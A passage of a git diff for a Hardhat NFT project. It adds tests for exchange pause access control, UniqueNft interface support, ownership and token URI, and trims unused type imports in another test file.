})).to.revertedWithCustomError( + nftExchange, + 'OwnableUnauthorizedAccount' + ) + + await nftExchange.write.pause() + + expect(await nftExchange.read.paused()).to.equal(true) + await expect(nftExchange.write.unpause({ account: alice.account })).to.revertedWithCustomError( + nftExchange, + 'OwnableUnauthorizedAccount' + ) + + await nftExchange.write.unpause() + expect(await nftExchange.read.paused()).to.equal(false) + }) +}) diff --git a/test/NftInvestmentFund.ts b/test/NftInvestmentFund.ts index d01faad..298215d 100644 --- a/test/NftInvestmentFund.ts +++ b/test/NftInvestmentFund.ts @@ -2,19 +2,7 @@ import { loadFixture } from '@nomicfoundation/hardhat-toolbox-viem/network-helpe import { time } from '@nomicfoundation/hardhat-network-helpers' import { expect } from 'chai' import hre from 'hardhat' -import { - getAddress, - parseEther, - WalletClient, - GetContractReturnType, - Address, - Transport, - Chain, - Account, - RpcSchema -} from 'viem' -import { NftInvestmentFund$Type } from '../artifacts/contracts/NftInvestmentFund.sol/NftInvestmentFund' -import { MallorysMaliciousMisappropriation$Type } from '../artifacts/contracts/MallorysMaliciousMisappropriation.sol/MallorysMaliciousMisappropriation' +import { getAddress, parseEther } from 'viem' describe('Investment fund', function () { async function baseScenario() { diff --git a/test/UniqueNft.ts b/test/UniqueNft.ts new file mode 100644 index 0000000..c11fed5 --- /dev/null +++ b/test/UniqueNft.ts @@ -0,0 +1,39 @@ +import { loadFixture } from '@nomicfoundation/hardhat-toolbox-viem/network-helpers' +import { expect } from 'chai' +import hre from 'hardhat' +import { getAddress } from 'viem' + +describe('UniqueNft', function () { + async function baseScenario() { + const [owner, alice] = await hre.viem.getWalletClients() + + const uniqueNft = await hre.viem.deployContract('UniqueNft', [], { client: { wallet: owner } }) + + return { uniqueNft, owner, alice } + } + + it('Supports interface', async function () { + const { uniqueNft } = await loadFixture(baseScenario) + + // IERC721 + expect(await uniqueNft.read.supportsInterface(['0x80ac58cd'])).to.equal(true) + // IERC721Enumerable + expect(await uniqueNft.read.supportsInterface(['0x780e9d63'])).to.equal(true) + // Non existent + expect(await uniqueNft.read.supportsInterface(['0xdeadbeef'])).to.equal(false) + }) + + it('Token at owner at start', async function () { + const { uniqueNft, owner } = await loadFixture(baseScenario) + expect(await uniqueNft.read.ownerOf([0n])).to.equal(getAddress(owner.account.address)) + expect(await uniqueNft.read.totalSupply()).to.equal(1n) + }) + + it('Token URI', async function () { + const { uniqueNft, owner } = await loadFixture(baseScenario) + expect(await uniqueNft.read.ownerOf([0n])).to.equal(getAddress(owner.account.address)) + expect(await uniqueNft.read.totalSupply()).to.equal(1n) + + expect(await uniqueNft.read.tokenURI([0n])).to.equal('http://localhost:5173/unique/0') + }) +})